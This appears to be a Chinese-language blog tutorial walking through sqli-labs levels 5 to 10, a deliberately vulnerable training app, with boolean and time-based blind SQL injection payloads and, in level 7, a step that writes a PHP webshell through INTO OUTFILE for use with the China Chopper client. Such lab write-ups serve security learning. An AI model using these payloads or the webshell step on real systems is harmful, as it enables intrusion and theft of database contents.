• sqli-libs(5-10关)


    Less_5

      补充基础知识  

     1. left(a,b)左侧截取a的前b位,正确则返回1,错误则返回o

                            Select left(database(),1)=’s’;  

    其中database()security,截取的是第一个字母’s’,正确返回1

    2. regexp函数                select user() regexp ‘r’;    

    user()的结果是root, regexp 为匹配root的正则表达式(实验之后正确返回为1,错误返回0

    3. like函数                select user() like’ro%’;   用法与regexp一样

     4. substr(a,b,c)   select substr() XXx  

                        Substr(a,b,c)从位置b开始,截取a字符串c位长度

    5. ascii()  将某个字符串转化为ascii       select ascii(‘s’);

     6. chr(数字)   或者是   ord(‘字母’) 

    使用python中的两 个函数可以判断当前的ascii值是多少

    对于security数据库(打开SQL命令  输入use security
    select left (database(),1)=’s’;      1位是否是s

    select database() regexp ’s’;      匹配第1个字符是否是s

    select database() like ‘s%’;         匹配第个字符是否是s
    select substr((select database()),1,1)=’s’;  select database()表示security

                               substr((security),1,1)从第一位开始截取security1位长度

    即匹配第一个字符是否是s
     select substr((select database()),1,3)=’sec’;   匹配前三个字符是否是sec

    select ascii(substr((select database()),1,1));   直接回显115 
    select ascii(substr((select database()),1,1))>110; 如果大于110,就会返回1,否则返回0.

     

    less5使用‘1’包裹;

    输入语句正确则显示:you are in

     

    判断数据库第一位是不是s?id=1' and  left((select database()),1)='s'--+

     

    用爆破形式:通过返回的长度来确定第一位是多少,依次类推;

      

     

     

     

     

     

     

    通过二分法查询库的值:红色为可变参数

    ?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>99--+

     

     

      

    通过二分法可猜解到security下的所有表,其中红色可变为参数:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))>1--+

    通过二分法可猜解users内的字段,其中红色为可变参数:?id=1' and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),1,1))>1--+

     

    继续猜解可得到字段内的值:?id=1' and ascii(substr((select username from security.users limit 1,1),1,1))>1--+

     

    Less_5总结:

     

     

    Less_6

     Less-06?id=1” 包裹

    其他操作与第五关相同

    Less_7

    补充知识:

     Show variables like ‘%secure%’; 

     secure_file_priv 显示为空,会禁止数据导入导出

     

    解决方法:打开phpstudy——mysql——my.ini——添加一句:secure_file_priy=”/”

     

    常见的一句话木马:

     

      

    www文件中新建PHP文件,内容输入:

     

     

    Load_file() 读取本地文件 

    Select load_file(‘C:\phpstudy\WWW\test.txt’);

    Into outfile 写文件  文件位置:C:phpstudymysqldata

    Select ‘mysql is very good’into outfile ‘test.txt’;

     

    Less-07:   ?id=1’))进行包裹,其他操作与less5相同 ;

    需要下载中国菜刀打开菜刀,右键添加,写入127.0.0.1/test.php 就可以了

    输入:?id=1')) union select 1,2, 'crow' into outfile 'C:\phpStudy\WWW\sqli-labs-master\sqli-labs-master\Less-7\a.php'--+,执行

    再输入http://192.168.17.111/sqli-labs-master\sqli-labs-master\Less-7\a.php,执行,

    打开菜刀,右键添加,写入192.168.17.111/a.php 即可。

     

    Less_8

    方法一:布尔盲注:

     ?id=1’  进行包裹  其他操作跟第五关一样进行猜测就可以

     

     

     

    补充知识:

     

    方法二: 时间盲注

    Sleep(秒数睡眠几秒再显示

    先使用security数据库,

     select if(ascii(substr((select database()),1,1))>10,2,3)

     

     

    使用延迟的方法判断是和否存在注入漏洞:?Id=1’ and sleep(5)--+

     

    当为8的时候加载的很快,而当其他值的时候加载较慢(5秒左右),说明此时数据库长度为8  ?id=1' and if(length(database())=8,1,sleep(5))--+

     

    Less_9

    ?id=1 或者?id=1’        发现前面所学的都试了之后,并没有报错

    ?id=1’ and sleep(5)--+ 使用这个语句时候,发现网页会停顿5秒,所以存在注入漏洞

     

    我们可以使用less8中的时间盲注进行操作,不可以使用布尔盲注;

    ?id=1'and if(length(database())=8,1,sleep(5))--+   修改红色部位的数,猜测数据库名有几位

    ?id=1'and if(ascii(substr((select schema_name from information_schema.schemata limit 5,1)1,1))>12,1,sleep(5))--+使用less8中同样的方法进行判断即可。

     

    less_10

    Less10?id=1’’ 进行包裹 其他操作与less9基本一致。

     

     

     

     

  • 相关阅读:
    跨域调用webapi web端跨域调用webapi
    如何通过js跨域调用ASP.NET Web API (请问如何实现在javascript中通过http get的方式跨域调用ASP.NET Web API?)
    MVC中使用SignaIR入门教程
    Axure RP是一个专业的快速原型设计工具
    angularJS 学习演示
    说说Angular中的$timeOut定时器
    镜像服务器文件实时监控同步程序
    服务器文件同步管理
    MySQL 数据库双向镜像、循环镜像(复制)
    vs2015密钥 企业版 专业版 (vs.net)
  • 原文地址:https://www.cnblogs.com/199904-04/p/12295243.html
Copyright © 2020-2023  润新知